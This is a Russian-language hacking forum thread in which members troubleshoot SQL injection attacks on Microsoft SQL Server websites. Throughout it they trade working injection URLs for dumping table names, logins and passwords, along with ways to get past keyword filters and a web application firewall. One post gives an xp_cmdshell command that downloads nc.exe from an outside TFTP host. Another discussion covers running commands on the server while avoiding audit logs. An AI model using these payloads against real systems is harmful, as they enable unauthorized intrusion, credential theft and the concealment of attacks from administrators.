добрые люди помогите ей воспользоваться :)
заранее спасибо
может есть какой либо список команд
Lancellot
03.01.2008, 13:26
GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд
GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд
Нет, именно sa
guest3297
03.01.2008, 16:59
2GannIbal.
1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.
GannIbal.
03.01.2008, 18:08
']2GannIbal.
1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.
сейчас посмотрим
спасибо бальшое вроде всё норм пака работает
guest3297
10.01.2008, 08:02
Готовиться продолжение статьи
https://forum.antichat.ru/showpost.php?p=523825&postcount=36
TSQL, разделяй и властвуй.
В рассмотрении пока темы:
1) Эффективное исполнение команд.
2) Методы автоматизации иньекций.
3) MSSQL и PHP
4) Клиенты, библиотеки, и методы аудита баз MSSQL.
Хотелось бы услышать то, что вам будет интересно прочитать, обсудить или просто поделиться.
Все вы можете со мной обсудить на IRC канале #antichat.
Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_na me+from+customer)--
то читать могу выдает имя юзера, а вот если взять 'order'
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_ NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_N AME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_da te'))--
показывает все, но если забить такой запрос
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from +order)--
то облом пишит следующие:
ADODB.Field error '80020009'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/shop/progucts.asp, line 0
Что это может значить? Я так понимаю что у меня нету прав на чтения это таблицы или я ошибаюсь?
Просто нет походу ничего в этой табличке, т.е. запрос ничего не возвращает
Вот с поvощью инъекции можно узнать логин пользователя, а можно ли его пасс узнать?
И еще как можно обойти вот такое:
Incorrect syntax near
Оно не дает использовать top, from, bcp, exec =(
Кельт, фразу дальше мейби продлишь?
Неверный запрос ты составил вообще
Пароль можно вытащить если он в бд в незашифрованном виде...
Фразу я не продлил потому как она на все перечисленные ниже слова ругается, к примеру, на запрос вида:
or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
вылетает ошибка:
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
Ну правильно....плюсы замени например на /**/
>плюсы замени например на /**/
Mssql не поддерживает, если я не ошибаюсь, такой тип комментария
>плюсы замени например на /**/
Mssql не поддерживает, если я не ошибаюсь, такой тип комментария
Поддерживает, но обязательно что бы они были закрытыми, пробел так же можно заменить на /**/
2Кельт, иногда top фильтруется попробуй замени на max(table_name)
что-то не помогает =(
при замене + на /**/ выдает:
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near '/'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
При использовании max(table_name) начинает ругаться на from:
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near 'from'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
Поппробуй concat(table_name, 0x3a) заместо max(table_name)
Разве функция max() предназначена для строковых полей?
ЗЫ. Сорри, ступил, для них она тоже работает)
guest3297
18.02.2008, 17:36
Scipio, Isis
Нечего там не фильтруеться переведи ошибку для начала.
max() - возвращает максимальное значение аргумента.
concat() - не поддерживаеться в mssql нету там такой функции.
/**/ не являються официльными коментариями в mssql при фильтрации лучше всего испоьзывать стандартные знаки типо + и табуляции в URL encode.
Incorrect syntax near 'from'
Не ругаеться на from, написанно что некорректный синксасис рядом/около 'from'.
Модераторы убидительная просьба почистите тему!!!
Хм, а что в теме не так? Люди обсуждают тему.
Alexsize
Не ругаеться на from, написанно что некорректный синксасис рядом/около 'from'.
Я про это уже сказал и поэтому предложил заменить на /**/ хоть они и неоф.комментарии, но работает
[ cash ], max() возвращает всего лишь одно значение, как и top 1, для использования подзапросов это как раз и надо, чтоб подзапрос возвращал однo значение, только немного с другой стороны подход, но ты всегда можешь сам попробовать и убедиться что это то что нужно и вполне равноцено (в плане получения одного только значения) использованию top 1 при sql-inj
/**/ обычный коммент и является заменой пробелу, покрайней мере в 2000 сервере точно работает, насчет concat согласен
guest3297
19.02.2008, 11:07
Scipio
Пример приведи мне с описанием.
guest3297
19.02.2008, 11:23
Две наиболее популярные области применения функций связаны с возможнос-
тью повторного использования кода и упрощенным представлением сложных запро-
сов. Одно из основных преимуществ функций заключается в том, что вы можете ис-
пользовать их взамен программного кода, который в обычных условиях пришлось
бы писать снова и снова. Функции дают возможность компактно представить боль-
шие фрагменты кода для повторного использования. Рассмотрим простейший вари-
ант: вам необходимо, используя SQL Server, извлечь наибольшее значение столбца
Amount таблицы Sales, чтобы выяснить максимальный показатель за сутки. Если бы
не встроенные функции, нам пришлось бы прибегнуть к таким непрактичным при-
емам, как курсоры и переменные, и написать много строк кода в случае повторно-
го использования в проекте. К счастью, среди встроенных функций предусмотрена
специальная функция MAX(), пригодная для решения данной задачи. Функция MAX()
возвращает максимальное значение столбца, и ее можно использовать следующим
образом:
CREATE TABLE SALES(
AMOUNT NUMERIC(5,2)
);
INSERT INTO SALES(AMOUNT) VALUES(100.00);
INSERT INTO SALES(AMOUNT) VALUES(1435.50);
INSERT INTO SALES(AMOUNT) VALUES(456.87);
INSERT INTO SALES(AMOUNT) VALUES(4500.00);
INSERT INTO SALES(AMOUNT) VALUES(564.55);
INSERT INTO SALES(AMOUNT) VALUES(3456.34);
SELECT MAX(AMOUNT) AS BIG_SALE FROM SALES;
BIG_SALE
4500.00
[ cash ], так правильно....выше уже сказали что max() возвращает одно значение - максимальное...
А если AMOUNT string, что выведет max?
']Scipio
Пример приведи мне с описанием.
Ну что значит с описанием, (вобще ты сам дал описание), но я говорил про использование max() в контексте SQL-inj... насчет примеров мне не охото сейчас особо искать, вот первое что попалось, это не MSSQL а SYBASE ASE 12.05, но сам понимаешь разницы большой нет, уж на край ты и сам сможешь попробовать на mssql, пример:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+mast er..syslogins))--
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+mast er..syslogins+where+dbname+not+in+(0x7379627379737 4656D6462)))--
guest3297
19.02.2008, 13:12
Забавно, неплохо.
Таким образом можно применять как минимум с десяток функций... тот же min().
2Кельт, иногда top фильтруется попробуй замени на max(table_name)
Хочу заметить что когда top или select или др. фильтруеться, не будет вывода в ошибку базы данных, так как данные отфильтровываються на уровне веб сервера а не базы. Следовательно при ошибке
Incorrect syntax near 'TOP'
TOP передаеться в базу без фильтра.
в этом я с тобой [ cash ] согласен, судя по описанию ошибок я почти уверен, что тут дело в том, что плюс в запросе Кельта интерпритируется как плюс, а не как пробел, это может быть, например, если в mssql_query() запрос передается не через _GET а через _SERVER['QUERY_STRING'], в таком случае вместо + надо использовать пробелы
ЗЫ почему /**/ вызывает ошибку, я так и не понял, возможно из-за версии сервера
guest3297
19.02.2008, 22:03
Вообще я уже где то писал, что + в TSQL это не пробел (+) так же используется для объеденения данных в запросе аналогично concat() в mysql, Например:
SELECT ALL user+char(0x3a)+pass FROM users;
SELECT ALL cast(user as nvarchar)+':'+cast(pass as nvarchar) FROM users;
В качестве пробела можно исползывать.
%09
%0A
%0D
Но в большинстве случаев хватает
%20
%2B
geezer.code
19.02.2008, 22:10
способ не использовать cast или convert
вместо
cast(user as nvarchar)+':'+cast(pass as nvarchar)
можно
quotename(user+':'+pass)
%2B - это и есть +
но смысл не в этом, обычно если запрос передается через get + интерпритируется как пробел и при таком:id=1+1 в _GET['id'] зпишится 1 1
а тут похоже идет через _SERVER['QUERY_STRING'] а потом парсится, при таком раскладе url коды нельзя использовать т.к. они не будут декодироваться а идти в sql запрос так как есть, так что тут как мне кажется вариант только использовать пробелы
при таком раскладе url коды нельзя использовать т.к. они не будут декодироваться а идти в sql запрос так как есть, так что тут как мне кажется вариант только использовать пробелы
Пробелы не получится использовать не урлэнкодя их, ибо тогда сам http запрос не получится, т.к. возникнет ошибка в его синтаксисе и сервер не воспримет его верно.
да, я как то не подумал об этом
хм, в таком случае получается что ничего не сделаешь...
guest3297
19.02.2008, 22:55
хз почему ну иногда + не пашет а %2B отлично работает, не забывайте то мы говорим как правило, про IIS а не apache.
1ten0.0net1
02.03.2008, 22:27
Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру:
exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe'
Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера.
P. S. TFTP не поддерживает аутентификацию.
Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру:
exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe'
Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера.
P. S. TFTP не поддерживает аутентификацию.
да можно, 1ten0.0net1, вобще много что можно
добиться даже без использования системных процедур
Дайте мне точку опоры - и я переверну Землю (Архимед)
главное были бы соответствующие права, а их к большому сожелению, часто не хватает, вот и приходится крутиться, а начет фтп серверов и иже с ними недолго сделать , что бы средствами комманд скачать из сети что нибудь и записать это куда надо, повторюсь, для этого нужны соответствующие права
shellz[21h]
10.04.2008, 00:23
Обход фильтрации, работает только на первой таблице, а на второй выводит следующию ошибку:
ADODB.Command error '800a0d5d'
Application uses a value of the wrong type for the current operation.
/includes/logonManager.asp, line 370
http://site.com/conference.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+ FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NO T+IN+(char(108)%2Bchar(105)%2Bchar(110)%2Bchar(107 )%2Bchar(95)%2Bchar(99)%2Bchar(97)%2Bchar(116)%2Bc har(101)%2Bchar(103)%2Bchar(111)%2Bchar(114)%2Bcha r(105)%2Bchar(101)%2Bchar(115),char(97)%2Bchar(100 )%2Bchar(109)%2Bchar(105)%2Bchar(110)%2Bchar(117)% 2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(95)%2Bc har(104)%2Bchar(105)%2Bchar(115)%2Bchar(116)%2Bcha r(111)%2Bchar(114)%2Bchar(121))--
DeepXhadow
25.04.2008, 09:44
Подскажите,что значит ошибка [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause при вот такой вот инъекции:
http://site.com/search/item.asp?itemid=1+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+e-mail
Гугль сказал что ошибка бывает при за росах FROM в таблицу,которая зарезервирована MS Access.Например Date и тд.Кроме e-mail никакой другой таблицы не нашел пока.@@version, (select db_name())-- , (select system_user)-- тоже не работает,ругается на syntax.Заранее спасибо.
вот здесь читай:
http://forum.antichat.ru/thread50550.html
Я с мелкософтовыми продуктами к сожалению не дружу, подскажите плиз, есть ли какая возможность все же выполнить "необходимые" запросы на сайте который выдает к примеру
на 1=(select db_name()) то что нужно.
на or 1=@@version - надо писать 1=(select @@version) тогда тоже выдает
---------------------
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
--------------
Но гад на select union или к примеру на такой
or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
выдает
Microsoft OLE DB Provider for SQL Server error '80040e21'
The requested properties cannot be supported.
-------
Читал вроде это из-за того что требует dbOwnerPrefix
хttp://www.aspplayground.net/forum/m375477.aspx
Но где его вставлять тогда?
И это имеется ввиду or 1=(select system_user) ?
Заранее огромное спасибо и конечно с меня +++ ;)
Решено. Был просто не внимателен. Сорри
Все же помогите понять один нюанс.
Запросом на подобии
or+1=(SELECT+TOP+1+TA BLE_NAME+FROM+INFORMATION_S CHEMA.TABLES
Выводятся имена таблиц. все отлично! Так же стандартными методами прочел имена БД. Но когда пришло время узнавать имена колонок.... вот тут получил задачку на которую сегодня весь вечер убил.
Сервер отвечал
---------------
error '80040e21'
The requested properties cannot be supported.
---------------
Как при не корректном запросе или если нет такой таблицы(БД и тд)
Решение нашел вот в таком запросе
or%201=(select%20top%201%201%20fro m%20information_s chema.tables+u nion+select+column_NAME+from+INFORMATION_S CHEMA.columns
По крайней мере за сегодняшний вечер я наконец увидел название колонки.
Если просто начинать инжектить с юнион-селект - то запрос выводит вышеприведенную ошибку 80040e21.
Завтра уже буду дабивать запрос до необходимого рабочего вида, но может кто то поможет понять почему так происходит?
Небольшое дополнение:
В общем - если у кого то случается такая бякак как у меня, нет вывода из системных таблиц и некоторых юзерских при or+1=(SELECT+TOP+1.....
то можно это сделать таким способом:
or 1=(select 1 from information_s chema.tables+union+select+name+from+m aster..syslogi ns)--sp_password
Был бы очень благодарен тому кто объяснит почему так происходит при первом примере запроса. А то что то в этих мелкософтовых продуктах как всегда все запутанно и все через ж0пу как я посмотрю)) трудно с нуля все разобрать. :)
SFX-SQLi (Select For Xml SQL Injection) - новый способ дампа таблиц за один запрос!
http://raz0r.name/obzory/select-for-xml-sql-injection/
Спокойно и непринужденно выводил нужные строки с MSSQL, как внезапно на все запросы начинает появляться ошибка:
ADODB.Recordset ошибка '800a0e79'
Операция не допускается, если объект открыт.
/_meta_title.asp, line 60
Потом через некоторое время она пропадает, но через n-ное кол-во запросов к базе опять появляется. Почему она возникает?
Есть вопрос по незаметному взлому MSSQL 2005.
Поскольку активация xp_cmdshell и прикосновения к Reconfigure после sp_configure оставляют в логах очень заметные следы, возникает вопрос, как это обойти и получить доступ к cmd.exe без них.
У меня идея такая:
можно посредством sp_addextendedproc сделать так:
exec sp_addextendedproc myProc, 'C:\myproc.dll'
где myproc - моя модная процедура, которая дает доступ к cmd.exe :)
Тут возникает проблема - нужно длл-ку на сервер закинуть, что невозможно физически.
Однако сдержимое dll мы можем в хекс перевести и закинуть в какую-нить таблицу, созданную для нее, а затем попытаться сделать как в mysql select our-super-string into OUTFILE 'c:\myproc.dll'
Однако в MSSQL нет into outfile, посему вопрос, что может помочь это сделать (не соря в логах)?
Есть sp_makewebtask, но он выводит не 1 в 1, а создает хтмл-страницу с названиями колонок - т.е. не катит.
Есть идеи?
Поскольку активация xp_cmdshell и прикосновения к Reconfigure после sp_configure оставляют в логах очень заметные следы, возникает вопрос, как это обойти и получить доступ к cmd.exe без них.
конструкция вида ;[inj];--sp_password позволяет избежать записи в лог.
Однако в MSSQL нет into outfile, посему вопрос, что может помочь это сделать (не соря в логах)?
Кроме sp_makewebtask есть sp_oamethod, с помощью которого можно произвести выгрузку содержимого в файл. Кроме того с помощью этой процедуры можно реализовать альтернативу xp_cmdshell без подгрузки внешних dll:
http://www.motobit.com/tips/detpg_cmdshell/
']конструкция вида ;[inj];--sp_password позволяет избежать записи в лог.
Видел это, но на моей 2005 не работает оно, может это только для 2000?
пробовал и из management studio и из-под sqlcmd... Или может есть подтверждения, что на SQL2005 работает?
PS ну и в моем конкретном случае, в java шеллах точка с запятой оканчивает query, т.е. не поддерживаются двойные и т.д. query.
']
Кроме sp_makewebtask есть sp_oamethod, с помощью которого можно произвести выгрузку содержимого в файл. Кроме того с помощью этой процедуры можно реализовать альтернативу xp_cmdshell без подгрузки внешних dll:
http://www.motobit.com/tips/detpg_cmdshell/
Сенкс, этого не знал, но с ней тоже есть трабла:
SQL Server blocked access to procedure 'sys.sp_OAMethod' of component 'Ole Automation Procedures' because this component is turned off as part of the security configuration for this server.
И сразу в логах длиннющая запись...
added: и только сейчас дошло, что можно юзать bcp как раз для вывода в файл поэтому вопрос - где взять bcp для линукса? Заодно сейчас протестю сорит в логах он или нет при юзании bcp.
Видел это, но на моей 2005 не работает оно, может это только для 2000?
да, проверил на локальном MSSQL 2005, действительно не работает
и только сейчас дошло, что можно юзать bcp как раз для вывода в файл
Каким образом ты собрался запускать bcp для вывода dll в файл? Полагаю, что только с помощью xp_cmdshell.
']
Каким образом ты собрался запускать bcp для вывода dll в файл? Полагаю, что только с помощью xp_cmdshell.
У меня не sql inj, а шелл на линуксовом серваке в локалке. С этого шелла я стучусь с логин/пассом до Win2003Server с SQL2005 - поэтому и стоит задача тихо получить возможность исполнять команды еще и на сервере2003.
Поэтому хочу пустить bcp с линуксового сервака. В логах SQL2005 будет сорить по поводу bcp только когда логин/пасс неправильные, когда все окей я проверил (на дефолтовых настройках) он об успешном коннекте bcp не сигнализирует в логах.
У меня такой вопрос, если в названии таблицы есть пробелы то как вывести из неё двнные? ибо пишет ошибку синтаксиса. К примеру у меня название таблицы 'RGAuthor (child table)'. При запросе:
http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from +RGAuthor (child table))
Выдаёт:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'table'.
/resguides/Resguide.asp, line 13
mailbrush
16.05.2009, 10:16
Кавычки.
Кавычки.
запрос:
http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from +'RGAuthor (child table)')
Ответ:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'RGAuthor (child table)'.
/resguides/Resguide.asp, line 13
mailbrush
16.05.2009, 13:34
Hex.
Hex.
ни хекс ни чар не подходят %)
Incorrect syntax near '0x5247417574686f7220286368696c64207461626c6529'.. ..
А если кодировать в хекс не только название таблицы а весь подзапрос:
http://site.com/resguides/Resguide.asp?ID=1+or+1=0x2873656C6563742B746F702B3 12B50617373776F72642B66726F6D2B5247417574686F72202 86368696C64207461626C652929
Ответ: ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/resguides/Resguide.asp, line 16
Эт чё выходит что табла пустая?
Raul Duke
17.05.2009, 18:34
Привет Всем.
Столкнулся с такой проблемой:
При запросе
_http;//site.ru/index.asp?id=23+or+1=(SELECT+TOP+1+login+from+user s)--
Выдает
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'admin' to a column of data type int.
/catalog_functions.asp, line 449
т.е. тут все норм
далее
http;//site.ru/index.asp?id=23+or+1=(SELECT+TOP+1+password+from+u sers)--
ответ
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'current_cat_id'
/catalog_functions, line 298
почему это происходит и как это обойти?
Raul Duke
Попробуй concat()
Raul Duke
25.05.2009, 10:12
Вот, наслучай если у кого то такая же хрень будет
_http://site.ru/index.asp?id=23+or+1=(SELECT+TOP+1+cast(login+as+n varchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+ from+users)--
PS Сенкс, Pin4eG
Как листать записи в mssql?
делаю при помощи top - выдает одинаковые результаты.
вот к примеру.
site/script?id=-7+union+select+top+1+1,2,3,table_schema%2bchar(0x3 a)%2btable_name+4,5+from+information_schema.column s--
при подстановке после top разных значений, не меняется вывод.
TOP обозначает количество первых записей в результирующей таблице.
юзай NOT IN. Будет что-то вроде
site/script?id=-7 union select top 1 ... from information_schema.columns WHERE table_name NOT IN (SELECT TOP n table_name FROM information_schema)--
где n - номер записи
Спасибо.
Чот не работает так.
делаю по такой схеме.
SELECT top 20 * FROM [some_table]
WHERE [primary_key_field] NOT IN
(
SELECT top 10 [primary_key_field]
FROM [some_table]
ORDER BY [primary_key_field]
)
ORDER BY [primary_key_field]
site/script?id=-7+union+select+top+1+1,2,3,table_name+4,5+from+inf ormation_schema.columns+where+table_name+NOT+IN+(S ELECT+TOP+5+table_name+FROM+information_schema.col umns+ORDER+BY+table_name)+ORDER+BY+table_name--
PS. Аа.. primary_key - это же id записи вроде как? Но в information_schema.columns нет primary_key ведь. Как быть?
shellz[21h]
27.07.2009, 05:03
классический метод.
1 запрос:
index.asp?id=-7+union+select+top+1+1,2,3,table_name+4,5+from+inf ormation_schema.columns
2 запрос:
index.asp?id=-7+union+select+top+1+1,2,3,table_name+4,5+from+inf ormation_schema.columns+where+table_name+not+in+(' таблица из первого запроса'... и т.д.)На первой странице ж написано.
shellz[21h]
27.07.2009, 05:54
?pid=443 or 1=(select top 1 table_name from information_schema.tables where table_name not in (SELECT TOP N table_name FROM information_schema.tables order by table_name))--
где N - номер с 0 до .....
Проверено работает.
Thanks for your tutorials and help here.
I have a question, I searched a lot but I didn't find any explanations.
So here's the problem:
www.somesite.com/.../asp?id=1
after I put " ' "
www.somesite.com/.../asp?id=1 '
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Error converting data type varchar to numeric.
I have tried many ways, but whatever I do the same error appears :confused: .
My question is how to inject this one. Simply, nothing worked, I've even chared the whole query.
If anyone could help, I'll appreciate that a lot! I can send link, but only on PM.
Spasiba ;)
somemember
30.01.2010, 23:47
Кто знает, как узнать корневой каталог веб-сайта с помощью Transact SQL ?
BeerDrinker
31.01.2010, 05:33
Подскажите пожалуйста как закоментировать конец строки.
-- не помогает: "Characters found after end of SQL statement."
LokbatanLi
27.03.2010, 09:30
а ето что за еррор ??
vis.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]FIPS Warning: Line 1 has the non-ANSI clause 'TOP'.
/lex/basesog/vis.asp, line 9
Кто знает,что за ошибка такая ? Диз похож на mssql:
Provider error '80020005'
Type mismatch.
реакция на 1+or+1=1
Либо аутентификация, либо трансформирование данных . . .ну это имхо :)
[Feldmarschall]
06.04.2010, 18:40
Какие ище есть методы с Выводом Данных?
1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)--
так уменя не идет
Pashkela
06.04.2010, 19:25
вот это
%27%3A%27%
замени на
char(58)
[Feldmarschall]
06.04.2010, 20:23
вот это
%27%3A%27%
замени на
char(58)
у меня проде есле делаю так +as+nvarchar то меня перекидует на
dotDefender Blocked Your Request
Please contact the site administrator, and provide the following Reference ID:
DCF2-8C56-108D-7E2D
Pashkela
06.04.2010, 20:38
стоит WAF http://www.applicure.com/
пробуй как-то обойти, по-моему децл не та тема, тем более нет ссылки. Подход в случае защиты к каждой скуле индивидуальный
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot